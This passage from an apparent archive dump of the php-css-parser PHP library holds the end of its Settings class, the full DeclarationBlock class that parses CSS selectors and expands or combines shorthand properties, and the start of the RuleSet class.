     * The default charset for the CSS if no `@charset` declaration is found. Defaults to utf-8.
     *
     * @var string
     */
    public $sDefaultCharset = 'utf-8';

    /**
     * Whether the parser silently ignore invalid rules instead of choking on them.
     *
     * @var bool
     */
    public $bLenientParsing = true;

    private function __construct()
    {
        $this->bMultibyteSupport = extension_loaded('mbstring');
    }

    /**
     * @return self new instance
     */
    public static function create()
    {
        return new Settings();
    }

    /**
     * Enables/disables multi-byte string support.
     *
     * If `true` (`mbstring` extension must be enabled), will use (slower) `mb_strlen`, `mb_convert_case`, `mb_substr`
     * and `mb_strpos` functions. Otherwise, the normal (ASCII-Only) functions will be used.
     *
     * @param bool $bMultibyteSupport
     *
     * @return self fluent interface
     */
    public function withMultibyteSupport($bMultibyteSupport = true)
    {
        $this->bMultibyteSupport = $bMultibyteSupport;
        return $this;
    }

    /**
     * Sets the charset to be used if the CSS does not contain an `@charset` declaration.
     *
     * @param string $sDefaultCharset
     *
     * @return self fluent interface
     */
    public function withDefaultCharset($sDefaultCharset)
    {
        $this->sDefaultCharset = $sDefaultCharset;
        return $this;
    }

    /**
     * Configures whether the parser should silently ignore invalid rules.
     *
     * @param bool $bLenientParsing
     *
     * @return self fluent interface
     */
    public function withLenientParsing($bLenientParsing = true)
    {
        $this->bLenientParsing = $bLenientParsing;
        return $this;
    }

    /**
     * Configures the parser to choke on invalid rules.
     *
     * @return self fluent interface
     */
    public function beStrict()
    {
        return $this->withLenientParsing(false);
    }
}
vendor/sabberworm/php-css-parser/src/RuleSet/DeclarationBlock.php000066600000074614151150442740021161 0ustar00<?php

namespace Sabberworm\CSS\RuleSet;

use Sabberworm\CSS\CSSList\CSSList;
use Sabberworm\CSS\CSSList\KeyFrame;
use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Parsing\OutputException;
use Sabberworm\CSS\Parsing\ParserState;
use Sabberworm\CSS\Parsing\UnexpectedEOFException;
use Sabberworm\CSS\Parsing\UnexpectedTokenException;
use Sabberworm\CSS\Property\KeyframeSelector;
use Sabberworm\CSS\Property\Selector;
use Sabberworm\CSS\Rule\Rule;
use Sabberworm\CSS\Value\Color;
use Sabberworm\CSS\Value\RuleValueList;
use Sabberworm\CSS\Value\Size;
use Sabberworm\CSS\Value\URL;
use Sabberworm\CSS\Value\Value;

/**
 * This class represents a `RuleSet` constrained by a `Selector`.
 *
 * It contains an array of selector objects (comma-separated in the CSS) as well as the rules to be applied to the
 * matching elements.
 *
 * Declaration blocks usually appear directly inside a `Document` or another `CSSList` (mostly a `MediaQuery`).
 */
class DeclarationBlock extends RuleSet
{
    /**
     * @var array<int, Selector|string>
     */
    private $aSelectors;

    /**
     * @param int $iLineNo
     */
    public function __construct($iLineNo = 0)
    {
        parent::__construct($iLineNo);
        $this->aSelectors = [];
    }

    /**
     * @param CSSList|null $oList
     *
     * @return DeclarationBlock|false
     *
     * @throws UnexpectedTokenException
     * @throws UnexpectedEOFException
     */
    public static function parse(ParserState $oParserState, $oList = null)
    {
        $aComments = [];
        $oResult = new DeclarationBlock($oParserState->currentLine());
        try {
            $aSelectorParts = [];
            $sStringWrapperChar = false;
            do {
                $aSelectorParts[] = $oParserState->consume(1)
                    . $oParserState->consumeUntil(['{', '}', '\'', '"'], false, false, $aComments);
                if (in_array($oParserState->peek(), ['\'', '"']) && substr(end($aSelectorParts), -1) != "\\") {
                    if ($sStringWrapperChar === false) {
                        $sStringWrapperChar = $oParserState->peek();
                    } elseif ($sStringWrapperChar == $oParserState->peek()) {
                        $sStringWrapperChar = false;
                    }
                }
            } while (!in_array($oParserState->peek(), ['{', '}']) || $sStringWrapperChar !== false);
            $oResult->setSelectors(implode('', $aSelectorParts), $oList);
            if ($oParserState->comes('{')) {
                $oParserState->consume(1);
            }
        } catch (UnexpectedTokenException $e) {
            if ($oParserState->getSettings()->bLenientParsing) {
                if (!$oParserState->comes('}')) {
                    $oParserState->consumeUntil('}', false, true);
                }
                return false;
            } else {
                throw $e;
            }
        }
        $oResult->setComments($aComments);
        RuleSet::parseRuleSet($oParserState, $oResult);
        return $oResult;
    }

    /**
     * @param array<int, Selector|string>|string $mSelector
     * @param CSSList|null $oList
     *
     * @throws UnexpectedTokenException
     */
    public function setSelectors($mSelector, $oList = null)
    {
        if (is_array($mSelector)) {
            $this->aSelectors = $mSelector;
        } else {
            $this->aSelectors = explode(',', $mSelector);
        }
        foreach ($this->aSelectors as $iKey => $mSelector) {
            if (!($mSelector instanceof Selector)) {
                if ($oList === null || !($oList instanceof KeyFrame)) {
                    if (!Selector::isValid($mSelector)) {
                        throw new UnexpectedTokenException(
                            "Selector did not match '" . Selector::SELECTOR_VALIDATION_RX . "'.",
                            $mSelector,
                            "custom"
                        );
                    }
                    $this->aSelectors[$iKey] = new Selector($mSelector);
                } else {
                    if (!KeyframeSelector::isValid($mSelector)) {
                        throw new UnexpectedTokenException(
                            "Selector did not match '" . KeyframeSelector::SELECTOR_VALIDATION_RX . "'.",
                            $mSelector,
                            "custom"
                        );
                    }
                    $this->aSelectors[$iKey] = new KeyframeSelector($mSelector);
                }
            }
        }
    }

    /**
     * Remove one of the selectors of the block.
     *
     * @param Selector|string $mSelector
     *
     * @return bool
     */
    public function removeSelector($mSelector)
    {
        if ($mSelector instanceof Selector) {
            $mSelector = $mSelector->getSelector();
        }
        foreach ($this->aSelectors as $iKey => $oSelector) {
            if ($oSelector->getSelector() === $mSelector) {
                unset($this->aSelectors[$iKey]);
                return true;
            }
        }
        return false;
    }

    /**
     * @return array<int, Selector|string>
     *
     * @deprecated will be removed in version 9.0; use `getSelectors()` instead
     */
    public function getSelector()
    {
        return $this->getSelectors();
    }

    /**
     * @param Selector|string $mSelector
     * @param CSSList|null $oList
     *
     * @return void
     *
     * @deprecated will be removed in version 9.0; use `setSelectors()` instead
     */
    public function setSelector($mSelector, $oList = null)
    {
        $this->setSelectors($mSelector, $oList);
    }

    /**
     * @return array<int, Selector|string>
     */
    public function getSelectors()
    {
        return $this->aSelectors;
    }

    /**
     * Splits shorthand declarations (e.g. `margin` or `font`) into their constituent parts.
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    public function expandShorthands()
    {
        // border must be expanded before dimensions
        $this->expandBorderShorthand();
        $this->expandDimensionsShorthand();
        $this->expandFontShorthand();
        $this->expandBackgroundShorthand();
        $this->expandListStyleShorthand();
    }

    /**
     * Creates shorthand declarations (e.g. `margin` or `font`) whenever possible.
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    public function createShorthands()
    {
        $this->createBackgroundShorthand();
        $this->createDimensionsShorthand();
        // border must be shortened after dimensions
        $this->createBorderShorthand();
        $this->createFontShorthand();
        $this->createListStyleShorthand();
    }

    /**
     * Splits shorthand border declarations (e.g. `border: 1px red;`).
     *
     * Additional splitting happens in expandDimensionsShorthand.
     *
     * Multiple borders are not yet supported as of 3.
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    public function expandBorderShorthand()
    {
        $aBorderRules = [
            'border',
            'border-left',
            'border-right',
            'border-top',
            'border-bottom',
        ];
        $aBorderSizes = [
            'thin',
            'medium',
            'thick',
        ];
        $aRules = $this->getRulesAssoc();
        foreach ($aBorderRules as $sBorderRule) {
            if (!isset($aRules[$sBorderRule])) {
                continue;
            }
            $oRule = $aRules[$sBorderRule];
            $mRuleValue = $oRule->getValue();
            $aValues = [];
            if (!$mRuleValue instanceof RuleValueList) {
                $aValues[] = $mRuleValue;
            } else {
                $aValues = $mRuleValue->getListComponents();
            }
            foreach ($aValues as $mValue) {
                if ($mValue instanceof Value) {
                    $mNewValue = clone $mValue;
                } else {
                    $mNewValue = $mValue;
                }
                if ($mValue instanceof Size) {
                    $sNewRuleName = $sBorderRule . "-width";
                } elseif ($mValue instanceof Color) {
                    $sNewRuleName = $sBorderRule . "-color";
                } else {
                    if (in_array($mValue, $aBorderSizes)) {
                        $sNewRuleName = $sBorderRule . "-width";
                    } else {
                        $sNewRuleName = $sBorderRule . "-style";
                    }
                }
                $oNewRule = new Rule($sNewRuleName, $oRule->getLineNo(), $oRule->getColNo());
                $oNewRule->setIsImportant($oRule->getIsImportant());
                $oNewRule->addValue([$mNewValue]);
                $this->addRule($oNewRule);
            }
            $this->removeRule($sBorderRule);
        }
    }

    /**
     * Splits shorthand dimensional declarations (e.g. `margin: 0px auto;`)
     * into their constituent parts.
     *
     * Handles `margin`, `padding`, `border-color`, `border-style` and `border-width`.
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    public function expandDimensionsShorthand()
    {
        $aExpansions = [
            'margin' => 'margin-%s',
            'padding' => 'padding-%s',
            'border-color' => 'border-%s-color',
            'border-style' => 'border-%s-style',
            'border-width' => 'border-%s-width',
        ];
        $aRules = $this->getRulesAssoc();
        foreach ($aExpansions as $sProperty => $sExpanded) {
            if (!isset($aRules[$sProperty])) {
                continue;
            }
            $oRule = $aRules[$sProperty];
            $mRuleValue = $oRule->getValue();
            $aValues = [];
            if (!$mRuleValue instanceof RuleValueList) {
                $aValues[] = $mRuleValue;
            } else {
                $aValues = $mRuleValue->getListComponents();
            }
            $top = $right = $bottom = $left = null;
            switch (count($aValues)) {
                case 1:
                    $top = $right = $bottom = $left = $aValues[0];
                    break;
                case 2:
                    $top = $bottom = $aValues[0];
                    $left = $right = $aValues[1];
                    break;
                case 3:
                    $top = $aValues[0];
                    $left = $right = $aValues[1];
                    $bottom = $aValues[2];
                    break;
                case 4:
                    $top = $aValues[0];
                    $right = $aValues[1];
                    $bottom = $aValues[2];
                    $left = $aValues[3];
                    break;
            }
            foreach (['top', 'right', 'bottom', 'left'] as $sPosition) {
                $oNewRule = new Rule(sprintf($sExpanded, $sPosition), $oRule->getLineNo(), $oRule->getColNo());
                $oNewRule->setIsImportant($oRule->getIsImportant());
                $oNewRule->addValue(${$sPosition});
                $this->addRule($oNewRule);
            }
            $this->removeRule($sProperty);
        }
    }

    /**
     * Converts shorthand font declarations
     * (e.g. `font: 300 italic 11px/14px verdana, helvetica, sans-serif;`)
     * into their constituent parts.
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    public function expandFontShorthand()
    {
        $aRules = $this->getRulesAssoc();
        if (!isset($aRules['font'])) {
            return;
        }
        $oRule = $aRules['font'];
        // reset properties to 'normal' per http://www.w3.org/TR/21/fonts.html#font-shorthand
        $aFontProperties = [
            'font-style' => 'normal',
            'font-variant' => 'normal',
            'font-weight' => 'normal',
            'font-size' => 'normal',
            'line-height' => 'normal',
        ];
        $mRuleValue = $oRule->getValue();
        $aValues = [];
        if (!$mRuleValue instanceof RuleValueList) {
            $aValues[] = $mRuleValue;
        } else {
            $aValues = $mRuleValue->getListComponents();
        }
        foreach ($aValues as $mValue) {
            if (!$mValue instanceof Value) {
                $mValue = mb_strtolower($mValue);
            }
            if (in_array($mValue, ['normal', 'inherit'])) {
                foreach (['font-style', 'font-weight', 'font-variant'] as $sProperty) {
                    if (!isset($aFontProperties[$sProperty])) {
                        $aFontProperties[$sProperty] = $mValue;
                    }
                }
            } elseif (in_array($mValue, ['italic', 'oblique'])) {
                $aFontProperties['font-style'] = $mValue;
            } elseif ($mValue == 'small-caps') {
                $aFontProperties['font-variant'] = $mValue;
            } elseif (
                in_array($mValue, ['bold', 'bolder', 'lighter'])
                || ($mValue instanceof Size
                    && in_array($mValue->getSize(), range(100, 900, 100)))
            ) {
                $aFontProperties['font-weight'] = $mValue;
            } elseif ($mValue instanceof RuleValueList && $mValue->getListSeparator() == '/') {
                list($oSize, $oHeight) = $mValue->getListComponents();
                $aFontProperties['font-size'] = $oSize;
                $aFontProperties['line-height'] = $oHeight;
            } elseif ($mValue instanceof Size && $mValue->getUnit() !== null) {
                $aFontProperties['font-size'] = $mValue;
            } else {
                $aFontProperties['font-family'] = $mValue;
            }
        }
        foreach ($aFontProperties as $sProperty => $mValue) {
            $oNewRule = new Rule($sProperty, $oRule->getLineNo(), $oRule->getColNo());
            $oNewRule->addValue($mValue);
            $oNewRule->setIsImportant($oRule->getIsImportant());
            $this->addRule($oNewRule);
        }
        $this->removeRule('font');
    }

    /**
     * Converts shorthand background declarations
     * (e.g. `background: url("chess.png") gray 50% repeat fixed;`)
     * into their constituent parts.
     *
     * @see http://www.w3.org/TR/21/colors.html#propdef-background
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    public function expandBackgroundShorthand()
    {
        $aRules = $this->getRulesAssoc();
        if (!isset($aRules['background'])) {
            return;
        }
        $oRule = $aRules['background'];
        $aBgProperties = [
            'background-color' => ['transparent'],
            'background-image' => ['none'],
            'background-repeat' => ['repeat'],
            'background-attachment' => ['scroll'],
            'background-position' => [
                new Size(0, '%', null, false, $this->iLineNo),
                new Size(0, '%', null, false, $this->iLineNo),
            ],
        ];
        $mRuleValue = $oRule->getValue();
        $aValues = [];
        if (!$mRuleValue instanceof RuleValueList) {
            $aValues[] = $mRuleValue;
        } else {
            $aValues = $mRuleValue->getListComponents();
        }
        if (count($aValues) == 1 && $aValues[0] == 'inherit') {
            foreach ($aBgProperties as $sProperty => $mValue) {
                $oNewRule = new Rule($sProperty, $oRule->getLineNo(), $oRule->getColNo());
                $oNewRule->addValue('inherit');
                $oNewRule->setIsImportant($oRule->getIsImportant());
                $this->addRule($oNewRule);
            }
            $this->removeRule('background');
            return;
        }
        $iNumBgPos = 0;
        foreach ($aValues as $mValue) {
            if (!$mValue instanceof Value) {
                $mValue = mb_strtolower($mValue);
            }
            if ($mValue instanceof URL) {
                $aBgProperties['background-image'] = $mValue;
            } elseif ($mValue instanceof Color) {
                $aBgProperties['background-color'] = $mValue;
            } elseif (in_array($mValue, ['scroll', 'fixed'])) {
                $aBgProperties['background-attachment'] = $mValue;
            } elseif (in_array($mValue, ['repeat', 'no-repeat', 'repeat-x', 'repeat-y'])) {
                $aBgProperties['background-repeat'] = $mValue;
            } elseif (
                in_array($mValue, ['left', 'center', 'right', 'top', 'bottom'])
                || $mValue instanceof Size
            ) {
                if ($iNumBgPos == 0) {
                    $aBgProperties['background-position'][0] = $mValue;
                    $aBgProperties['background-position'][1] = 'center';
                } else {
                    $aBgProperties['background-position'][$iNumBgPos] = $mValue;
                }
                $iNumBgPos++;
            }
        }
        foreach ($aBgProperties as $sProperty => $mValue) {
            $oNewRule = new Rule($sProperty, $oRule->getLineNo(), $oRule->getColNo());
            $oNewRule->setIsImportant($oRule->getIsImportant());
            $oNewRule->addValue($mValue);
            $this->addRule($oNewRule);
        }
        $this->removeRule('background');
    }

    /**
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    public function expandListStyleShorthand()
    {
        $aListProperties = [
            'list-style-type' => 'disc',
            'list-style-position' => 'outside',
            'list-style-image' => 'none',
        ];
        $aListStyleTypes = [
            'none',
            'disc',
            'circle',
            'square',
            'decimal-leading-zero',
            'decimal',
            'lower-roman',
            'upper-roman',
            'lower-greek',
            'lower-alpha',
            'lower-latin',
            'upper-alpha',
            'upper-latin',
            'hebrew',
            'armenian',
            'georgian',
            'cjk-ideographic',
            'hiragana',
            'hira-gana-iroha',
            'katakana-iroha',
            'katakana',
        ];
        $aListStylePositions = [
            'inside',
            'outside',
        ];
        $aRules = $this->getRulesAssoc();
        if (!isset($aRules['list-style'])) {
            return;
        }
        $oRule = $aRules['list-style'];
        $mRuleValue = $oRule->getValue();
        $aValues = [];
        if (!$mRuleValue instanceof RuleValueList) {
            $aValues[] = $mRuleValue;
        } else {
            $aValues = $mRuleValue->getListComponents();
        }
        if (count($aValues) == 1 && $aValues[0] == 'inherit') {
            foreach ($aListProperties as $sProperty => $mValue) {
                $oNewRule = new Rule($sProperty, $oRule->getLineNo(), $oRule->getColNo());
                $oNewRule->addValue('inherit');
                $oNewRule->setIsImportant($oRule->getIsImportant());
                $this->addRule($oNewRule);
            }
            $this->removeRule('list-style');
            return;
        }
        foreach ($aValues as $mValue) {
            if (!$mValue instanceof Value) {
                $mValue = mb_strtolower($mValue);
            }
            if ($mValue instanceof Url) {
                $aListProperties['list-style-image'] = $mValue;
            } elseif (in_array($mValue, $aListStyleTypes)) {
                $aListProperties['list-style-types'] = $mValue;
            } elseif (in_array($mValue, $aListStylePositions)) {
                $aListProperties['list-style-position'] = $mValue;
            }
        }
        foreach ($aListProperties as $sProperty => $mValue) {
            $oNewRule = new Rule($sProperty, $oRule->getLineNo(), $oRule->getColNo());
            $oNewRule->setIsImportant($oRule->getIsImportant());
            $oNewRule->addValue($mValue);
            $this->addRule($oNewRule);
        }
        $this->removeRule('list-style');
    }

    /**
     * @param array<array-key, string> $aProperties
     * @param string $sShorthand
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    public function createShorthandProperties(array $aProperties, $sShorthand)
    {
        $aRules = $this->getRulesAssoc();
        $oRule = null;
        $aNewValues = [];
        foreach ($aProperties as $sProperty) {
            if (!isset($aRules[$sProperty])) {
                continue;
            }
            $oRule = $aRules[$sProperty];
            if (!$oRule->getIsImportant()) {
                $mRuleValue = $oRule->getValue();
                $aValues = [];
                if (!$mRuleValue instanceof RuleValueList) {
                    $aValues[] = $mRuleValue;
                } else {
                    $aValues = $mRuleValue->getListComponents();
                }
                foreach ($aValues as $mValue) {
                    $aNewValues[] = $mValue;
                }
                $this->removeRule($sProperty);
            }
        }
        if ($aNewValues !== [] && $oRule instanceof Rule) {
            $oNewRule = new Rule($sShorthand, $oRule->getLineNo(), $oRule->getColNo());
            foreach ($aNewValues as $mValue) {
                $oNewRule->addValue($mValue);
            }
            $this->addRule($oNewRule);
        }
    }

    /**
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    public function createBackgroundShorthand()
    {
        $aProperties = [
            'background-color',
            'background-image',
            'background-repeat',
            'background-position',
            'background-attachment',
        ];
        $this->createShorthandProperties($aProperties, 'background');
    }

    /**
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    public function createListStyleShorthand()
    {
        $aProperties = [
            'list-style-type',
            'list-style-position',
            'list-style-image',
        ];
        $this->createShorthandProperties($aProperties, 'list-style');
    }

    /**
     * Combines `border-color`, `border-style` and `border-width` into `border`.
     *
     * Should be run after `create_dimensions_shorthand`!
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    public function createBorderShorthand()
    {
        $aProperties = [
            'border-width',
            'border-style',
            'border-color',
        ];
        $this->createShorthandProperties($aProperties, 'border');
    }

    /**
     * Looks for long format CSS dimensional properties
     * (margin, padding, border-color, border-style and border-width)
     * and converts them into shorthand CSS properties.
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    public function createDimensionsShorthand()
    {
        $aPositions = ['top', 'right', 'bottom', 'left'];
        $aExpansions = [
            'margin' => 'margin-%s',
            'padding' => 'padding-%s',
            'border-color' => 'border-%s-color',
            'border-style' => 'border-%s-style',
            'border-width' => 'border-%s-width',
        ];
        $aRules = $this->getRulesAssoc();
        foreach ($aExpansions as $sProperty => $sExpanded) {
            $aFoldable = [];
            foreach ($aRules as $sRuleName => $oRule) {
                foreach ($aPositions as $sPosition) {
                    if ($sRuleName == sprintf($sExpanded, $sPosition)) {
                        $aFoldable[$sRuleName] = $oRule;
                    }
                }
            }
            // All four dimensions must be present
            if (count($aFoldable) == 4) {
                $aValues = [];
                foreach ($aPositions as $sPosition) {
                    $oRule = $aRules[sprintf($sExpanded, $sPosition)];
                    $mRuleValue = $oRule->getValue();
                    $aRuleValues = [];
                    if (!$mRuleValue instanceof RuleValueList) {
                        $aRuleValues[] = $mRuleValue;
                    } else {
                        $aRuleValues = $mRuleValue->getListComponents();
                    }
                    $aValues[$sPosition] = $aRuleValues;
                }
                $oNewRule = new Rule($sProperty, $oRule->getLineNo(), $oRule->getColNo());
                if ((string)$aValues['left'][0] == (string)$aValues['right'][0]) {
                    if ((string)$aValues['top'][0] == (string)$aValues['bottom'][0]) {
                        if ((string)$aValues['top'][0] == (string)$aValues['left'][0]) {
                            // All 4 sides are equal
                            $oNewRule->addValue($aValues['top']);
                        } else {
                            // Top and bottom are equal, left and right are equal
                            $oNewRule->addValue($aValues['top']);
                            $oNewRule->addValue($aValues['left']);
                        }
                    } else {
                        // Only left and right are equal
                        $oNewRule->addValue($aValues['top']);
                        $oNewRule->addValue($aValues['left']);
                        $oNewRule->addValue($aValues['bottom']);
                    }
                } else {
                    // No sides are equal
                    $oNewRule->addValue($aValues['top']);
                    $oNewRule->addValue($aValues['left']);
                    $oNewRule->addValue($aValues['bottom']);
                    $oNewRule->addValue($aValues['right']);
                }
                $this->addRule($oNewRule);
                foreach ($aPositions as $sPosition) {
                    $this->removeRule(sprintf($sExpanded, $sPosition));
                }
            }
        }
    }

    /**
     * Looks for long format CSS font properties (e.g. `font-weight`) and
     * tries to convert them into a shorthand CSS `font` property.
     *
     * At least `font-size` AND `font-family` must be present in order to create a shorthand declaration.
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    public function createFontShorthand()
    {
        $aFontProperties = [
            'font-style',
            'font-variant',
            'font-weight',
            'font-size',
            'line-height',
            'font-family',
        ];
        $aRules = $this->getRulesAssoc();
        if (!isset($aRules['font-size']) || !isset($aRules['font-family'])) {
            return;
        }
        $oOldRule = isset($aRules['font-size']) ? $aRules['font-size'] : $aRules['font-family'];
        $oNewRule = new Rule('font', $oOldRule->getLineNo(), $oOldRule->getColNo());
        unset($oOldRule);
        foreach (['font-style', 'font-variant', 'font-weight'] as $sProperty) {
            if (isset($aRules[$sProperty])) {
                $oRule = $aRules[$sProperty];
                $mRuleValue = $oRule->getValue();
                $aValues = [];
                if (!$mRuleValue instanceof RuleValueList) {
                    $aValues[] = $mRuleValue;
                } else {
                    $aValues = $mRuleValue->getListComponents();
                }
                if ($aValues[0] !== 'normal') {
                    $oNewRule->addValue($aValues[0]);
                }
            }
        }
        // Get the font-size value
        $oRule = $aRules['font-size'];
        $mRuleValue = $oRule->getValue();
        $aFSValues = [];
        if (!$mRuleValue instanceof RuleValueList) {
            $aFSValues[] = $mRuleValue;
        } else {
            $aFSValues = $mRuleValue->getListComponents();
        }
        // But wait to know if we have line-height to add it
        if (isset($aRules['line-height'])) {
            $oRule = $aRules['line-height'];
            $mRuleValue = $oRule->getValue();
            $aLHValues = [];
            if (!$mRuleValue instanceof RuleValueList) {
                $aLHValues[] = $mRuleValue;
            } else {
                $aLHValues = $mRuleValue->getListComponents();
            }
            if ($aLHValues[0] !== 'normal') {
                $val = new RuleValueList('/', $this->iLineNo);
                $val->addListComponent($aFSValues[0]);
                $val->addListComponent($aLHValues[0]);
                $oNewRule->addValue($val);
            }
        } else {
            $oNewRule->addValue($aFSValues[0]);
        }
        $oRule = $aRules['font-family'];
        $mRuleValue = $oRule->getValue();
        $aFFValues = [];
        if (!$mRuleValue instanceof RuleValueList) {
            $aFFValues[] = $mRuleValue;
        } else {
            $aFFValues = $mRuleValue->getListComponents();
        }
        $oFFValue = new RuleValueList(',', $this->iLineNo);
        $oFFValue->setListComponents($aFFValues);
        $oNewRule->addValue($oFFValue);

        $this->addRule($oNewRule);
        foreach ($aFontProperties as $sProperty) {
            $this->removeRule($sProperty);
        }
    }

    /**
     * @return string
     *
     * @throws OutputException
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     *
     * @throws OutputException
     */
    public function render($oOutputFormat)
    {
        $sResult = $oOutputFormat->comments($this);
        if (count($this->aSelectors) === 0) {
            // If all the selectors have been removed, this declaration block becomes invalid
            throw new OutputException("Attempt to print declaration block with missing selector", $this->iLineNo);
        }
        $sResult .= $oOutputFormat->sBeforeDeclarationBlock;
        $sResult .= $oOutputFormat->implode(
            $oOutputFormat->spaceBeforeSelectorSeparator() . ',' . $oOutputFormat->spaceAfterSelectorSeparator(),
            $this->aSelectors
        );
        $sResult .= $oOutputFormat->sAfterDeclarationBlockSelectors;
        $sResult .= $oOutputFormat->spaceBeforeOpeningBrace() . '{';
        $sResult .= $this->renderRules($oOutputFormat);
        $sResult .= '}';
        $sResult .= $oOutputFormat->sAfterDeclarationBlock;
        return $sResult;
    }
}
vendor/sabberworm/php-css-parser/src/RuleSet/RuleSet.php000066600000025757151150442750017351 0ustar00<?php

namespace Sabberworm\CSS\RuleSet;

use Sabberworm\CSS\Comment\Comment;
use Sabberworm\CSS\Comment\Commentable;
use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Parsing\ParserState;
use Sabberworm\CSS\Parsing\UnexpectedEOFException;
use Sabberworm\CSS\Parsing\UnexpectedTokenException;
use Sabberworm\CSS\Renderable;
use Sabberworm\CSS\Rule\Rule;

/**
 * This class is a container for individual 'Rule's.
 *
 * The most common form of a rule set is one constrained by a selector, i.e., a `DeclarationBlock`.
 * However, unknown `AtRule`s (like `@font-face`) are rule sets as well.
 *
 * If you want to manipulate a `RuleSet`, use the methods `addRule(Rule $rule)`, `getRules()` and `removeRule($rule)`
 * (which accepts either a `Rule` or a rule name; optionally suffixed by a dash to remove all related rules).
 */
abstract class RuleSet implements Renderable, Commentable
{
    /**
     * @var array<string, Rule>
     */
    private $aRules;

    /**
     * @var int
     */
    protected $iLineNo;

    /**
     * @var array<array-key, Comment>
     */
    protected $aComments;

    /**
     * @param int $iLineNo
     */
    public function __construct($iLineNo = 0)
    {
        $this->aRules = [];
        $this->iLineNo = $iLineNo;
        $this->aComments = [];
    }

    /**
     * @return void
     *
     * @throws UnexpectedTokenException
     * @throws UnexpectedEOFException
     */
    public static function parseRuleSet(ParserState $oParserState, RuleSet $oRuleSet)
    {
        while ($oParserState->comes(';')) {
            $oParserState->consume(';');
        }
        while (!$oParserState->comes('}')) {
            $oRule = null;
            if ($oParserState->getSettings()->bLenientParsing) {
                try {
                    $oRule = Rule::parse($oParserState);
                } catch (UnexpectedTokenException $e) {
                    try {
                        $sConsume = $oParserState->consumeUntil(["\n", ";", '}'], true);
                        // We need to “unfind” the matches to the end of the ruleSet as this will be matched later
                        if ($oParserState->streql(substr($sConsume, -1), '}')) {
                            $oParserState->backtrack(1);
                        } else {
                            while ($oParserState->comes(';')) {
                                $oParserState->consume(';');
                            }
                        }
                    } catch (UnexpectedTokenException $e) {
                        // We’ve reached the end of the document. Just close the RuleSet.
                        return;
                    }
                }
            } else {
                $oRule = Rule::parse($oParserState);
            }
            if ($oRule) {
                $oRuleSet->addRule($oRule);
            }
        }
        $oParserState->consume('}');
    }

    /**
     * @return int
     */
    public function getLineNo()
    {
        return $this->iLineNo;
    }

    /**
     * @param Rule|null $oSibling
     *
     * @return void
     */
    public function addRule(Rule $oRule, $oSibling = null)
    {
        $sRule = $oRule->getRule();
        if (!isset($this->aRules[$sRule])) {
            $this->aRules[$sRule] = [];
        }

        $iPosition = count($this->aRules[$sRule]);

        if ($oSibling !== null) {
            $iSiblingPos = array_search($oSibling, $this->aRules[$sRule], true);
            if ($iSiblingPos !== false) {
                $iPosition = $iSiblingPos;
                $oRule->setPosition($oSibling->getLineNo(), $oSibling->getColNo() - 1);
            }
        }
        if ($oRule->getLineNo() === 0 && $oRule->getColNo() === 0) {
            //this node is added manually, give it the next best line
            $rules = $this->getRules();
            $pos = count($rules);
            if ($pos > 0) {
                $last = $rules[$pos - 1];
                $oRule->setPosition($last->getLineNo() + 1, 0);
            }
        }

        array_splice($this->aRules[$sRule], $iPosition, 0, [$oRule]);
    }

    /**
     * Returns all rules matching the given rule name
     *
     * @example $oRuleSet->getRules('font') // returns array(0 => $oRule, …) or array().
     *
     * @example $oRuleSet->getRules('font-')
     *          //returns an array of all rules either beginning with font- or matching font.
     *
     * @param Rule|string|null $mRule
     *        Pattern to search for. If null, returns all rules.
     *        If the pattern ends with a dash, all rules starting with the pattern are returned
     *        as well as one matching the pattern with the dash excluded.
     *        Passing a Rule behaves like calling `getRules($mRule->getRule())`.
     *
     * @return array<int, Rule>
     */
    public function getRules($mRule = null)
    {
        if ($mRule instanceof Rule) {
            $mRule = $mRule->getRule();
        }
        /** @var array<int, Rule> $aResult */
        $aResult = [];
        foreach ($this->aRules as $sName => $aRules) {
            // Either no search rule is given or the search rule matches the found rule exactly
            // or the search rule ends in “-” and the found rule starts with the search rule.
            if (
                !$mRule || $sName === $mRule
                || (
                    strrpos($mRule, '-') === strlen($mRule) - strlen('-')
                    && (strpos($sName, $mRule) === 0 || $sName === substr($mRule, 0, -1))
                )
            ) {
                $aResult = array_merge($aResult, $aRules);
            }
        }
        usort($aResult, function (Rule $first, Rule $second) {
            if ($first->getLineNo() === $second->getLineNo()) {
                return $first->getColNo() - $second->getColNo();
            }
            return $first->getLineNo() - $second->getLineNo();
        });
        return $aResult;
    }

    /**
     * Overrides all the rules of this set.
     *
     * @param array<array-key, Rule> $aRules The rules to override with.
     *
     * @return void
     */
    public function setRules(array $aRules)
    {
        $this->aRules = [];
        foreach ($aRules as $rule) {
            $this->addRule($rule);
        }
    }

    /**
     * Returns all rules matching the given pattern and returns them in an associative array with the rule’s name
     * as keys. This method exists mainly for backwards-compatibility and is really only partially useful.
     *
     * Note: This method loses some information: Calling this (with an argument of `background-`) on a declaration block
     * like `{ background-color: green; background-color; rgba(0, 127, 0, 0.7); }` will only yield an associative array
     * containing the rgba-valued rule while `getRules()` would yield an indexed array containing both.
     *
     * @param Rule|string|null $mRule $mRule
     *        Pattern to search for. If null, returns all rules. If the pattern ends with a dash,
     *        all rules starting with the pattern are returned as well as one matching the pattern with the dash
